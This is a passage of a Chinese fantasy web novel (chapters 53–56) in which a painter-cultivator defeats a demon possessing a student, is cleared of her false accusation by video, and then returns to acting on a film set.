惊叫一声,盛思涵只觉得浑身一激灵,眼神骤然清明,她想起之前为了得到喜欢的人竟然起了想要毁掉他心思,吓得浑身颤抖。
“对…对不起…老师,我…”盛思涵泪流满面。
但此时的吴惟已经无法给她回应了。
刚刚拼尽全力唤醒盛思涵只是怕自己阵符还没画完,身体先噶了,那就好玩了,现在危机解除,自然是要把心神全部放在符阵上。
没有人回应,盛思涵想上前查看一下情况,但又不敢,她怕发现吴惟已经死了。
正在纠结之际,脑子里突然传来一声嘶吼,心脏突然被收紧,一股钻心的疼痛涌入全身。
盛思涵踉跄着后退两步,凝聚起来的意识瞬间被击散。
[你疯了吗?!被捆仙绳捆住,业火会判定你也是极恶之人,它会把你也烧成灰烬的!]
原来是这样,难怪这么疼,疼到他意识都分离了。
真的要好好感谢他身体的自我保护机制,现在的吴惟一点也感受不到疼痛,冷眼看着被焚烧的自己,以及躲在盛思涵脑子里的天魔。
这个天魔似乎就是婴灵当初要抓的恶鬼。
天魔流窜于人的恶念之中,没有本体,恶鬼的意识被祂吞噬干净,恶鬼的灵魂就是祂的分身。
吴惟在业火符阵中把祝福和因果符阵一并刻了进去,掌握嵌套手法之后,嵌套对于他来说只是顺手的事。
他不确定这样做会有什么效果,但无论如何不会有坏处,就干脆刻了进去以防万一。
这一步棋果然走对了,因果符阵让业火看清了他不过是受害者,祝福符阵给他的身体上了一层保险。
很快业火认清了敌人,就专攻捆仙绳了,只不过吴惟到底还是会被火势燎到,依旧挺疼的。
盛思涵的情况可比他惨多了,灵魂绑定加上这段时间也坑了不少人,哪怕有些事是被引诱着做下的,但真正下决定的是她自己。
业火虽然主攻天魔,但也不会放过她。
盛思涵捂着头,痛苦地扑倒在地。
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这边动静太大了,很快就走人发现了这里,众人围上来查看情况。
业火是无形的,捆仙绳也是无形的,自然没有人能发现有什么异常。
他们的眼中是盛思涵惊惧地趴在地上,吴惟冷静地靠墙站在阴影里看不清表情,看到这幅情景,众人都明白是怎么回事了。
天魔占据盛思涵的身体,避开旁人的目光,冲吴惟冷冷一笑。
这段时间盛思涵积攒起来的恶念早就够祂夺舍了!
只见“她”连滚带爬扑到身边一个姑娘怀里,哭诉道:“救命…救救我,呜呜呜…不知道为什么,老师他…他…呜呜呜呜…”
姑娘只觉得满心怒火,真是人不可貌相,长着一副清冷的模样,竟然能做出这种事!
“禽兽!连自己学生都不放过,你等着,我们这就报警!”
听到这段对话,周围的人也群情激奋起来,只是没等他们有什么动作,突然出现一人,拨开人群冲了进去。
常笑听到动静脸色一变就往这边赶来。
千叠看到他的表情,心里咯噔一下,和导演说了一声也跑了过来。
只是到底离得远,慢了一步,这才被人抢了先。
之前吴惟让宁淮去叫常笑,他被困在结界里出不去,外界也无法探查到里面的情景。
方才天魔被业火焚烧,无力再维持结界,这才使得他们的动静被外界听到而宁淮也没必要再去叫常笑了。
常笑才不管那群人怎么样呢,吴惟是他的任务目标,这已经是第二次在他眼皮子底下出事了,他感觉自己快要疯了!
他一把拨开人群,冲到吴惟面前抓住他,“你没事吧?”
众人:“?”
姑娘很愤怒,“你这人是不是有毛病,他能有什么事,一个禽兽不如的…”
“闭嘴!”千叠刚到就听到有人造谣她小伙伴,这怎么能忍,直接打断对方施法,呵斥道,“未知全貌不予置评不懂吗,吴惟这段时间一直躲着盛思涵明眼人都能看出来吧,谁强迫谁还不一定呢,你怎么就能下定论了!”
姑娘本来就是个女性主义者,虽然她一般都遵循的是平权的原则,但到底因为自己的立场会偏向女性一方。
她平时还是很理智的,不会听风就是雨,也从来不会拉偏架,但奈何身边有个天魔。
天魔天魔最擅长的就是颠倒是非,蛊惑人心,祂虽然被业火炙烤,但也不是什么能力都用不出来。
反正这个分身都要毁了,那干脆把吴惟也给毁了好了!
祂才不相信一个被诬陷恶名缠身的人还能保持意识清明。
等他露出破绽,就是祂吞噬他的那一天。
姑娘被天魔一蛊惑,整个人情绪上头,“那还能怎么样,他一个大男人,难道真会被强迫不成,如果是盛思涵强迫他,为什么会变成现在这个样子。”
她紧紧地抱住盛思涵,感受着怀里的姑娘抑制不住的颤抖,她心疼坏了。
另一边吴惟被抓住胳膊之后,一股浩然正气源源不断灌入体内,他毫不犹豫把正气投入业火符阵中,火势烧的更旺。
捆仙绳能够抑制被捆的人能量不往外放,但无法抑制外人为其输入能量。
业火越烧越旺,捆仙绳终于架不住业火的炙烤散了形,被吴惟抓住机会收回体内。
业火符阵是画在他体内的,业火自然也是在体内发挥效用最大,吴惟把捆仙绳扔进业火中,人就晕了过去。
常笑懒得管另一边的战况,直接抱起吴惟就往外冲,顺便冲千叠喊了一句,“千叠,报警。”
虽然医院不一定能做什么,但至少能保证身体无恙,先送医院再说。
那边姑娘刚吼完一嗓子,就看到这一幕,人都懵了,不是,什么情况?人渣居然比被迫害的人更快出事,不会装的吧?
但是,报警?
如果吴惟是加害者,他的助理怎么会这么理直气壮要报警?
姑娘回过神突然发现有些不对,怀里的身体已经不再颤抖了,盛思涵也晕了过去。
无论如何先送医院吧,到时候让警察来判。
但是有人想报警有人却不想,导演听到这句报警脸色都变了,赶紧按住千叠,“不能报警!”
剧组如果出事被爆到网上可就麻烦了!
“那你想怎么样?”千叠冷冷地凑到导演耳边说道,“之前没跟你提过,常笑,就是吴惟的那个助理,是一位军官,您觉得能让以为军官保护的人会是什么普通人吗?”
导演浑身一激灵,这怎么可能?这样的人来他们剧组做什么?
“那…还是报警吧。”曹来有些无力,无论他们来这里是什么目的,在一位军官眼皮子底下出事了,他们还要藏着掖着,万一对方看不顺眼,反手把他们剧组上报封禁了怎么办?
宁可信其有,不可信其无。
何况这种雷现在爆出来总比拍完了爆出来作品被下架了强。
这么一想曹来心里好受多了,便不再阻止。
.
54.第 54 章
吴惟醒来的时候,已经是三天后了。
业火一直在体内灼烧,捆仙绳的数万恶业不是随便就能烧完的。
他其实早就清醒了,只是需要完善符阵,所以一直没有让身体醒过来而已。
在身上各个部分都画下了祝福符阵,抵消业火的灼烧,这才感觉好多了。
做完这一切,吴惟内视看向丹田处被金色的火焰包裹着的黑气在火焰的蚕食下依旧□□。
好在业火的燃料是恶业本身,并不需要吴惟添柴,只需要等待即可。
这次事件虽然看起来凶险,但他也并非没有获得好处。
把业火和怨气放在体内虽然是个隐患,但吴惟发现他能够随心念调动一丝业火,也许这火甚至可以直接放出体外作为攻击手段。
吴惟有些迫不及待地想试试,这才睁开眼睛。
“醒了~醒了~”闹闹看到吴惟坐起身来,直接飞到他的肩头。
常皓轩听到动静,赶忙从旁边的椅子上站起来,按了一下床头的呼叫铃,说道,“你可算醒了,再不醒我要把曲姐调过来了!”
“我没事。”吴惟摇了摇头,示意他不用叫荷姐。
医生很快过来,带检查各项数据没问题之后,吴惟直接要求出院了。
他在医院呆着没有意义,他有符阵在身体里的情况其实比之前都要健康…但是现在最好还是别动。
“你不知道,医院都被记者给堵了,盛思涵现在名气不小,你的马甲也被扒出来了,现在外面都在要说法。”
“你知道他们写了什么吗,抗震英雄竟然是□□犯,还有说都是哗众取宠的噱头,你根本不是英雄,军方被买通了才会给你发功勋。”
“我可去他的吧,有本事他去买一个!”
常皓轩骂骂咧咧,要不是知道吴惟不在乎这个,他才不敢说。
此时吴惟已经打开了手机,骂他的有之,相信他的也不少。
[我才不相信太太是什么qj犯呢,众所周知我们太太就是个性冷淡]
[知人知面不知心,都没见过,你怎么知道他不是]
[你又没见过,你怎么知道他是]
[有图有真相]
[是是是有图有真相,我们太太都晕过去了,谁知道是不是有人给他下药要陷害他]
[你们太太是小白花嘛,这么柔弱易推倒]
[鬼才信一个大男人会被小姑娘推倒,哦不对,我都忘说了,人家小姑娘甚至未成年]
[草,太恶心了,这是什么恋童癖嘛]
[更恶心的是这思涵妹妹叫那个臭男人老师,哈,什么老师这么没有师德]
[……]
呦呦鹿鸣:[我相信学长]
[鹿哥啊,知道你很学长感情好,但是这种时候还是不要说话的好]
[能跟□□犯玩的也是八成□□犯]
[……]
摄影师千风:[笑死,我们家神子大人他只会qj画板,人是什么,不知道]
[噗,神特么qj画板哈哈哈哈,等等,神子大人什么鬼,千风老师认识我们太太?]
[卧槽,这不是摄影界的大佬嘛,怎么突然帮qj犯说话了?]
摄影师千风:[沙币]
千叠才懒得跟人废话呢,盛思涵那种东西碰瓷他们家养神子大人?开玩笑,这可是他们三班的许愿龟吉祥物,谁砰谁死。
执殳为王:[清者自清]
山精:[清者自清]
[???不是等等,我怎么吃着瓜吃到了自家?殳姐也认识事事无为?]
[好家伙,自己力挺就算了,带着游戏官方账号发就过分了,行行行我相信他可以了嘛]
[我也,说起来这个事事无为好想是山精里很多角色的画师,众所周知殳姐选择合作对象人品都很有保证,我觉得可以相信]
[……]
“你打算怎么办?”玄学的事不能说,那个地方有没有监控,没办法证明什么。
常皓轩有些担心,虽然吴惟看起来不在乎,但谁知道呢,更何况让这么一个帮了许多人的英雄被人污蔑,他心里是在不好受。
吴惟:“其实,我手上好像有视频来着…”
常皓轩:“?”
吴惟打开手机相册,打开第一个视频给常皓轩看,这是他感觉不对的时候让宁淮录的。
毕竟人心难测,更何况被系统支配的盛思涵那有什么道德底线,谁知道会干出什么。
视频距离不近,但有眼睛的人都能看出来是谁在逼迫谁,尤其是吴惟后面表现出来身体不适的样子,和被掐脖子那一段。
谁家正常人不会反抗啊,连反抗的力气都没有,怎么看怎么不正常。
说不得还得是捆仙绳帮他洗清冤屈呢,吴惟这么想着,加强了业火的力度,算是报答这玩意的“恩情”。
常皓轩默默伸出了大拇指。
省心。
事事无为:[人活着,谢谢关心 #视频# ]
[!!!我的妈呀,好恐怖,这是未成年能干出的事情?]
[虽然但是,这段好有性张力,掐脖子,斯哈,对不起我不正常…]
[这种事出现在二次元确实挺有感觉的,但是三次元啊,很恐怖的好吧!!]
[太太真的没事么,到底是怎么回事啊,为什么会动不了,不会是被下药了吧,身体没事吗?]
[我也想问,这状态一看就不正常。]
[果然单纯的人容易吸引变态,太太要小心啊]
[……]
完整的视频总比断章取义,似是而非的看图说话说服力强,网上的舆论瞬间倒戈。
[说起来太太居然去演电视剧了,本颜粉站起来了 #叉腰# ]
[所以太太也要去娱乐圈发展了吗,不知道该期待还是该失落]
[在娱乐圈也可以画画]
事事无为:[阴差阳错,只此一次,你可以坐下了]
[不要啊…]
[好哎,太太专心画画就好了,娱乐圈这种吃人的地方不是你能去的]
[……]
解释完这一句,吴惟才退出某博,毕竟有些期待还是掐断了好,他才不想被人惦记着呢。
“现在没事了,可以说正事了。”吴惟收起手机,一脸正色看向常皓轩。
行叭。
小伙子行事风格真爽利,他喜欢。
“盛思涵比你醒的早,已经带回局里了。”
“我们的人问出来,之前的情况就像你猜的,她之前得到了一个人生赢家系统,只要获得周边人的认同就能拿到积分,换取各种道具。”
“之前把我们的人迷的团团转的道具也是出自系统商城里。”
吴惟毫不意外,“天魔最擅长的就是蛊惑人心。”
“嗯,”常皓轩脸色不太好看,有些担忧地看着吴惟,“你没事吧,我听她说之前在你身上用了好几种道具。”
“那些道具说白了就是各种欲望的具象化,吴惟本就没什么过于复杂的欲望,自然对他没用了。”
“判官大人?”
没错,刚刚那句话是婴灵说的,她点了点头,“盛思涵那个系统是我当初追捕的恶鬼,现在天魔残留意识被业火焚烧殆尽,我需要带它回地府,麻烦你安排我们见一面吧。”
常皓轩沉默了一会,说道,“其实盛思涵清醒之后也想见吴惟一面。”
吴惟:“知道了。”
他不是很意外,盛思涵在天魔控制下还能恢复一点清醒的意志,说明她还是有些良知的。
何况在焚烧天魔的时候,连带着她那部分罪业也焚烧掉了,现在的盛思涵,比起遇到天魔之前的她道德感都要强。
至少现在的她一定会为逼死别人感到良心不安。
没错,吴惟想到的就是张钰婷那件事,他打算提醒盛思涵这件事,对一个有良心的人最大的惩罚就是直面自己的错误。
张钰婷是他亲手送走的孩子,就算盛思涵在业火中受到了惩罚,吴惟依旧不想在这方面放过她。
聊的差不多,常皓轩跟门口的常笑打了声招呼就去忙了。
吴惟:“你要离开了?”
相处这么久,突然要告别他还真有点不适应。
“是啊,我该走了,还好你已经成长起来了。”婴灵的有些不舍,但无论如何作为判官,她都该去回履行自己的职责了。
“嗯,保重。”吴惟没说什么,他感觉心脏不太好受,以前从来没有这个感觉,不管是面对朋友还是自己的父母,告别也就告别了。
也许是因为婴灵不会再回来了吧。
婴灵似乎看出他的伤感,安慰道:“别难过,等以后你来地府,我罩着你,没有人会敢欺负你。”
“好。”
.
常皓轩动作很快,吴惟第二天就见到了盛思涵。
她憔悴了很多,佝偻着背,眼睛望着手指
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,一副局促不安的模样。
听到动静后,才机械地抬起头,看到人后,整个人都愣在原地。
她原以为来靠自己的会是父母,没想到竟然是吴惟。
“没想到你还会来看我。”
她是和特事局的人提过想见吴惟,但没抱任何希望,她差点杀了他,凭什么要求他来见自己呢。
“嗯,有事要做,一会儿再聊。”吴惟平静地说了一句,就把婴灵换了出来,她手执判官笔,在盛思涵眉心一点,没了意识的恶鬼顺着笔尖被收进了空间。
盛思涵只觉得浑身一轻,眼泪不受控制地流了出来。
“祂走了是不是?”盛思涵颤抖着抱住头,她被恶鬼控制太久了,看着身边光怪陆离的世界,有时候就想这么沉沦下去。
直到这一刻,她才真正清醒过来,原来一切不过都是梦,她的贪婪害了身边的人,她也不过是恶鬼控制的一个傀儡。
她甚至差点杀了喜欢的人。
吴惟看着这样的女孩儿,无奈叹气,说到底其实都是她自找的,若不是她本身就有恶念,也不会被恶鬼找上。
哭够了,盛思涵才慢慢收回情绪,向吴惟道了个歉,“对不起。”
两人相对沉默无言。
良久,吴惟才说道,“你对不起的人不是我。”
他不过是被纠缠了一段时间,说到底这次是吴惟自找的,更何况是他和天魔的对决把这小姑娘牵扯进去了,没必要和他说对不起。
“还记得张钰婷吗?”
盛思涵愣住了,她好久没听到这个名字了,但听到这个名字之后,心脏“砰砰”狂跳起来。
她想起自己对那人的打压孤立,甚至因为一点小事不顺心把她关进废弃仓库一天一夜。
盛思涵声音颤抖着问道;“你…你都知道…”
“嗯。”
盛思涵低头,难怪他讨厌自己,连面都不愿意见。
这不奇怪,现在连她都厌恶当初的自己。
若是吴惟不提起,以人类趋利避害的本性她应该已经遗忘了,但现在想起来,她无法想象自己当初为何会这般恶毒。
那个女孩儿被她逼到跳楼了。
而当时的她没有一丝感觉,她只觉得她过于脆弱,不经玩。
那时的她原来会把人当玩具吗?
“恶灵会找上你,因为你本身就有恶念,恶业缠身,是他最好挑拨的对象。”
盛思涵愣住了,下意识又说了一句“对不起。”
“你是该和她说对不起。现在事情都结束了,以后好自为之吧。”吴惟不想多说,起身准备离开。
盛思涵见状也站起身来,郑重向吴惟鞠了个躬,“我知道了,我会好好改造的,还有,谢谢你,老师。”
盛思涵不知道那个灼伤自己灵魂的东西是什么,但她知道若是自己一直沉沦下去,一定会被它彻底吞噬。
而吴惟救了她,哪怕他在和那个东西斗法时,似乎已经处于下风,依旧没有放弃自己,分神把自己唤醒。
这样的恩情盛思涵记下了,以后有机会再报答他吧。
吴惟没有回应,也没有停顿,径直离开了房间。
盛思涵捂住胸口,那颗心似乎再次跳了起来,这次她会带着满心愧疚,重新做人。
多年之后,盛思涵从监狱里出来,用她这些年学到的法律知识做起了法律援助的工作,专门为那些遭受各种暴力、冷暴力、pua的弱势群体提供免费援助。
虽然一生奔忙,但她一生都过的很充实。
等到了地府,来接她的拘魂使竟然是曾经的室友。
她永远无法忘记这张脸,因为这是她犯过最大的错误,一生的愧疚和煎熬一直到这一刻,她终于可以对她说一声“对不起”了。
张钰婷却说,“其实我早就不怪你了,哥和我说了,你做了很多好事。”
早在遇到吴惟离开人间的时候,她就已经释然了,用一辈子的苦难开启美好的鬼生,在她看来已经很值了,过往的一切都不值得被铭记。
“如果当初我遇到的是现在的你,也许结局会不一样。”
她只是感叹,却不觉得惋惜。
“不过也无所谓了,看到那么多人因为你的愧疚逃离魔窟,回归正常的生活,我就很开心了。”
无论如何,世上多了一个好人,就会少很多人受伤。
“你做的已经够了,我替那些孩子谢谢你,盛思涵。”
.
55.第 55 章
三天后,吴惟回到剧组的时候,身边已经没有婴灵了。
只是他看到镜子里的朱砂,总是有些恍惚,好像她依旧陪在自己身边一样。
这点朱砂并没有随着婴灵的离开消失,反而变得更加鲜艳了,简直不像正常人身上会长出来的。
也不一定,比如刮痧刮出来的红点…不是…咳,思维发散有些过了。
好在这点变化不算明显,似乎除了他自己没有人注意到。
盛思涵离开,她的戏份要重拍,暂时没有拍吴惟的部分,他也乐得自在。
这段时间盛思涵那边判决公告下来了,不光这些日子用系统对同学做的事,对娱乐圈同事做的是,甚至之前霸凌张钰婷的事都被扒出来了,一时之间人人喊打。
有人突然意识到,吴惟发表《坠落》的时候,就是在盛思涵的学校。
[难怪太太一直躲着她呢,怕不是早就知道她什么德行了]
[我我我,我来说,我是德育的学生,之前一直不敢说,无为老师当时在学校代课,教的是我们一年级,跟她一点关系也没有,她天天在老师上课的时候在外面偷窥,好在后面没发生什么。
说起来我一直觉得老师身上有点玄学在,就是上课的时候存在感很强,一下课都找不到人,有一次我眼睁睁看着老师从盛思涵面前走过,结果她还拉着我问老师的下落,嘶…]
[你别说,你还真别说,我有时候也会忘记太太的存在,但是只要一发画就想起来了,真的很神奇]
[我也有同感,这就是社恐的威力吗,恐怖如斯]
[本社恐也想拥有这种技能!!]
[而且有一件事,不知道大家都发现了还是只有我,看太太的画心情会变好,运气也会变好,我之前水逆,有一次还差点被吊灯砸住,但是晚上刷贴的时候老本太太的画,心里的郁气一瞬间消失了,第二天一件倒霉事都没有,第三天甚至中了个二等奖]
[我也是,我当时…]
[……]
[我就不一样了,我之前骂了太太,后来天天倒霉,直到我真心忏悔 #猫猫哭泣# ]
[我也……]
没过多久,某人人设已经多了一条锦鲤标签,也是挺符合神修特点了。
不过网上的事吴惟不怎么关心,反正只是一时的热度而已,迟早会被遗忘,他的天赋技能可不是说笑的。
愿力会消除一切,阿门:)
他这些天不是在跟千叠交流构图运镜,就是和导演交流分镜,时不时提一些疑问和见解,给曹来乐的不行。
真是挖到宝了,虽然有时候吴惟的意见总是有些偏门,但有时用上效果却出奇的好。
至于道具那边,没有熟人不好意思去,反正相对影视剧的服装,他对二次元更感兴趣,就干脆不往那边凑了。
听说这两天原画那边要过来人采风,吴惟有些期待。
场景原画啊,他之前也想学,他自己做场景不好不坏,最主要的是透视总是出问题,怎么也学不好,就放弃了。
机会难得,这次可以的话,想好好看看别人是怎么做的。
希望对方是个好相处的人吧。
“无为太太!”
吴惟有些懵,三次元好像没谁叫自己太太吧,这又不是漫展,一回头就看到了个熟悉的身影。
来人羽绒服里裹着马面裙,头上还盘了个高髻,吴惟看着整个人都有些麻木,“不是姐姐,你出门采风也穿这么全副武装吗?!”
“嗯哼,不觉得这样跟周边的场景更配吗?”青年双手抱胸,抬了抬下巴,眉眼弯弯,从嘴上能看出来,她已经在努力收敛笑意了。
“把羽绒服脱了确实挺配的。”吴惟收不住吐槽欲,此女是个熟人,野有蔓草,他的互关。
虽然没正儿八斤见过面,但是都看过对方照片…不过野有蔓草是日常喜欢发,吴惟是上次的神子照片火了一阵,被她给收藏下来欣赏了。
毕竟大家都是画画的,有人发了参考图,不存白不存嘛。
于曼曼摸摸下巴,认真考虑吴惟说话,“可惜了,我应该带上斗篷了。”
吴惟:“…你来真的啊”
只是想想,于曼曼就抛到脑后了,“没关系,这样就行,等会儿结束了帮我拍几张照片?”
于曼曼有个习惯,就是去哪出差都要穿着汉服打卡,平时自拍比较多,有时候能找到合拍的摄影师,既然吴惟在这里就省得找了,不过…
“我不会拍人…”
这不是托词,他是真不会,平时拍些小东西还好,人嘛…他自己做动作参考的话,都是直接对着镜子录的…
“不过可以请千叠帮忙,如果她不忙的话。”
千叠其实还是挺喜欢拍美人的,只是没有大自然那么热衷。
“行。”于曼曼很满意,直接点头答应了。
话题一转,直接回到吴惟身上,“话说,我听说,你最近…”
“停,是朋友就别提。”吴惟直接打断施法。
他是闲得慌了吗,才没工夫说这个话题呢。
众所周知,曹来导演是个幽灵,还是个八卦的幽灵,这不看到吴惟跟于曼曼聊的很好又凑了过来,“你俩认识?”
吴惟:“……”
这台词好特么熟悉。
于曼曼:“是呀,都是圈内人,我和无为太太是互关呢~”
“是绘圈。”不是娱乐圈,吴惟如是补充道。
“好好,”曹来乐呵呵地应了一声,“你们先聊,我得去准备了,对了小吴,明天有你的戏份,记得早点来化妆啊。”
“好的。”
曹来能不乐吗,这小吴可真是他的福星,原本盛思涵就是被资方塞过来的,他不知道怎么的,就这么收下了。
拍的倒是很顺利,但是回去一看就不能用,很有问题,结果每次到第二天就忘记这件事情。
反反复复下来,他居然一点也没有察觉,直到盛思涵被带走,他再看片子的时候才发现问题,惊出了一身冷汗。
这玩意要是放不去他指定得被骂惨了。
盛思涵的角色前期小白花,后期大反派,结果让盛思涵演的从头到尾都是绿茶花,是书粉看了会心梗的程度。
上次出事,他原以为剧组要凉了,没想到这件事的影响居然是正面的,因为他当时拿不准情况,发的那条[不造谣,不传谣,等警方公告]的话,让大众好感度提升,关注的也提高了不少。
送走了盛思涵,他请到了原本看好的演员。
当时曹来就差明着告诉对方他看好她了,最后被盛思涵横插一脚,本来只是抱着试试看的念头去请的,没想到这种情况下对方竟然愿意来。
曹来当时好奇问了一嘴,就听对方说,“吴惟救了我妹妹。”因为他们没有落井下石,也没有放任不管,还帮忙报了警。
余清秋,也就是那个被抢了角色的女孩儿,在被抢了角色之后干脆给自己放了个假,她本来就不是什么大明星,自然要比旁人清闲。
其实也是她想多陪陪妹妹。
自从父母离开人世之后,余清秋便和妹妹余清霜相依为命,她们都是乐市的人。
当初8.11大地震的时候,余清秋在外面拍戏,听到这个消息感觉天都要塌了,她放弃了手头的工作,想要立马飞往乐市的方向。
但她被拦了下来,健康不达标,去了也是添乱。
于是她只好给那边捐了款,祈祷妹妹没事。
但吴惟的消息给了她当头一棒,为了让学生学习不顾学生安危的事,她不是没听说过,甚至也经历过。
只是离开学校久了,已经记不清了。
但她妹妹还在上学!这人说是根据事实改编,他看到的学校,应该不会是妹妹所在的学校吧!
然而余清秋的祈祷没有取得效果,反而没多久就在官媒上看到了天水高中的新闻,一千多名学生埋葬在教学楼下,活着的只有两个在上体育课的班。
好在上天垂怜,没过几天,她就在寒玉姑娘寻人的直播间里看到了妹妹的身影。
她主播打赏要求连线,不过主播没有同意,而是再一次告诉所有观众,如果看到自己认识的人可以在向官方提交申请,带他们离开灾区。
没过几天,姐妹俩就见面了,余清秋带着妹妹回了穹市。
因为在穹市方便接活,她在这里有一套房产,以前只有自己在这边工作的时候住,现在多了个妹妹。
之后她们再也没有回去过了,说她们自私也好,无情也罢,她们只想好好活着,再多的管不过来。
前几天,妹妹刷某博的时候突然惊呼一声,指着一张照片说这是她的救命恩人,还骂骂咧咧说这些人怎么这样,她的救命恩人不可能是坏人。
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余清秋就记下了这个名字,这人在娱乐圈混也许哪天就可以报答了对方的恩情。
余清霜签了保密协议,自然不可能和姐姐分享怎么救的她,只含糊地说了当初是吴惟带人来学校救了他们,于是就有了现在的误会。
总之,她记下了恩情,答应曹来去演女三是因为他们剧组没有落井下石,而且余清霜也想见见妹妹的救命恩人。
这一通电话下来,让曹来确信吴惟就是个福星,走哪都会给人带来幸运。
更何况能有一个军官贴身保护,还是在役的,曹来认为他的身份肯定不简单。
是以吴惟在剧组获得了最大的自由。
.
于曼曼作为场景原画师,其实并不需要来现场,只是她认为在现场看演员拍戏更容易找到感觉,也就找了个地方一边看表演,一边记录灵感。
看到吴惟换上戏服出来,眼前一亮。
“我说无为太太,你真应该多拍点照片,放着一张脸好浪费哦。”比吴惟帅的不在少数,但是他这种面相是真的少见啊,多好的素材,他们古风党最爱好吧!
笑死,该说不愧是绘画人吗,三句不离素材。
吴惟直接无视了她的碎碎念,去找鹿鸣,开演前还要对一遍台本…虽然他没什么台词,咳。
剧情很简单,就是鹿鸣饰演的主角元修祈被人追杀,刚好遇上吴惟饰演的天机,被他救下。
天机发现此人就是命定的救世主,问元修祈愿不愿意做自己的徒弟。
之后就是几段日常了。
那些日常小片段也是分段拍的,后期剪辑的时候会在需要回忆的时候从中选一些合适的放进去。
因为只是几个片段,并不长,所以曹来准备集中在一天拍摄。
主角出场的时候已经十六岁了,所以自然也不需要其他小演员,直接鹿鸣妆容画嫩一点自己上就可以了。
二十三演十六,其实也差不多。
一身破衣麻布的元修祈掀翻各种各样的障碍物一路狂奔,背后三人提着刀横劈竖砍追去。
大街上涌动的人潮瞬间被打乱,三人胡乱拍掉撒在身上稻谷略微停顿,为首的络腮胡子凶恶的用刀指向前方,“给我追。”
一声令下,三人恶狠狠地冲向元修祈。
“虽然知道在拍电视剧,可是这个停顿真的没意义。”现在镜头外等待出场的吴惟下意识在脑子里吐槽,但已经没有人回应他了。
道路尽头元修祈灵活地钻进巷子中,谁知迎面撞上一人,他下意识像对方抓去,一个转身躲在了那人背后。
那人一身白衣,不染尘垢。
出场的吴惟曾经吐槽过,“换句话说,挺像睡衣。”
大刀三人组追至巷口,一个急刹车,看到躲在天机身后的元修祈,刀一横,恶狠狠地说道:“你再跑啊,小子我提醒你,没事别多管闲事,把你身后的人交出来!”
天机一个弹指,一股气劲分成三道,没入三人体内。
“呃…”大刀三人组腿一软,直挺挺摔在地上。
“嘶,好疼。演戏不容易啊,还要对着空气装死。”
要说为什么吴惟演着戏心里这么活跃呢,主要是他心里越活越,表面就越高冷。
这都老毛病了,以前有婴灵陪他聊天,已经好久没有这样的状态了。
元修祈吓了一跳,虽然这人救了自己,但…他他这漠然的态度…
他会杀了自己吗?
元修祈的眼神惊惧,抓着天机衣角的手已经松开,踉踉跄跄后退两步。
天机看向元修祈的眼神闪过一丝惊讶,只是一瞬又复归平静,“你,愿做我的徒弟吗?”
元修祈呆了一下,他为什么要收自己为徒?元修祈不知道,但他不敢拒绝,小心翼翼应下。
“卡——”
大刀三人组一个鲤鱼打挺站了起来,走过来拍了拍吴惟肩膀,“兄弟,你刚刚那个眼神可真吓人。”
他不知道该怎么形容,反正就是非人感很强,差点让他以为自己面对的不是人类。
不,应该说如果不是因为剧情,那个眼神根本看不见他。
不至于吧…吴惟满头问号。
一旁鹿鸣小心翼翼蹭过来,心有余悸地说道,“师尊,我是你的小徒弟欸,你不觉得看我的眼神太像蚂蚁了。”
吴惟:“?”
.
56.第 56 章
吴惟沉默了,他用眼神询问导演。
曹来笑呵呵道:“不错不错,要的就是这效果,毕竟天机曾经只是个观测者嘛。”
“演的不错。”
吴惟:“……”
其实他除了动作,根本没在演…
“总之这条过了,一会儿补拍几个镜头就可以了。”曹来拍了拍吴惟的肩膀,“很棒,继续保持。”
说完扭头就去指挥人重新布景了。
行叭,你们说啥就是啥吧。
几人稍微活动了一下,继续拍摄。
.
吴惟接过常笑递来的水,喝了两口发起了呆。
几场戏下来他其实没什么感觉,最累的还是鹿鸣。
毕竟他一个死面瘫,站在那里就没动几下,能累到哪去。
鹿鸣才是那个需要上蹿下跳还要被指导练功的,而他最多就是多了个救下闹闹,和闹闹互动的镜头。
不过之后吴惟还有一组练剑和骑马的镜头。
天机在设定里是一个感情慢慢解封的情况,因为从小生活在天机阁,被赋予拯救苍生的任务,但他其实对苍生并没有实感,只是当做任务去做而已。
直到救下男主,在教导男主的同时,自己也慢慢理解了生命的重量,明白了苍生的意义。
不过由于师尊就是一个龙套的时长,只会有几个男主成长中的片段。
按照导演的意思就是,前面拿出目中无人的态度,后期拿出看闹闹的眼神。
按吴惟个人习惯就是前期拿出想设定,沉浸在自己的世界里的架势。
后期就是对待毛茸茸的态度,万物皆是毛茸茸,尤其是男主,把男主想象成孰湖,刚刚好。
完美。
“对了,学长你会骑马吗?”鹿鸣爬起来搬了个小马扎挪到吴惟身边。
说实话鹿鸣有点担心,他们剧组和某些会给不会骑马的人配备一些设备或者干脆虚空骑马的剧组不同,是要求必须骑真的。
曹来虽然自认为业务能力也就那样,但还是很有原则的,无论如何也是要给观众看真东西的。
比如骑马戏,你可以骑的不好,但是必须要能露脸,打戏也是,你可以替身,但你必须在需要自己上场的时候能打。
打戏他倒是不担心,在剧组相处这么一段时间,他知道学长有打太极的习惯,用剑也最多是学几个动作,招式套路都是有一定相似性的。
但是骑马的话,一般人也不会专门去学。
不过吴惟不是一般人,为了画画素材他可以。
更何况他可是孰湖都骑过的人:)
影视基地人有些多,吴惟这段时间没放它出来玩,也就回酒店的时候,让它在房间里跑跑了。
说实话吴惟有点心疼。
之后的骑马戏应该是在郊外吧,到时候看情况带它出来玩会儿吧,人不多贴隐身符应该没关系。
鹿鸣见吴惟不答,更担心了,“内个,学长…”
“啊?”吴惟这才回过神来,把刚刚脑子里乱七八糟的想法给放一边。
那么一瞬间他好像突然意识到,刚刚意识飞走了忘记回答对方的问题了。
“会骑。”
鹿鸣:“……”
学长有时候弧好长…
不过这下他放心了,虽然相处不久,但他多少能看出来吴惟不太会说谎,他说会就是真会,甚至可能还是谦虚的说法。
下午的戏是最后的几场了,等吴惟的戏份拍完就该换地方了。
第二天吴惟感觉人都傻了,原来场景都要绿幕啊…
“怎么了?”于曼曼敲了敲吴惟脑袋,看他那不可置信的小表情有点好玩,“你一个画画的想不到场景会用绿幕做?”
吴惟语塞,但还是辩解了两下:“我以为至少人间是实景…”
“那得好好找地方了,”于曼曼摊了摊手,“毕竟大部分情况下容易穿帮。”
行叭,可怜的小孰湖,没有玩的地方了。
吴惟有些遗憾,只能回去再补偿它了。
“师尊~”鹿鸣不知道从哪钻了出来,“准备好了吗,今天要骑马了!”
他有些兴奋,每次演古偶这都是他最期待的环节,毕竟骑马帅啊,他一直觉得自己拍出来最出彩的就是骑马戏了!
看他这样子,吴惟挺高兴的。但不知为何,他有种不好的预感。
不是针对鹿鸣。
“喂!小心,快让开!”场地外似乎有什么东西冲了出来,直奔吴惟三人。
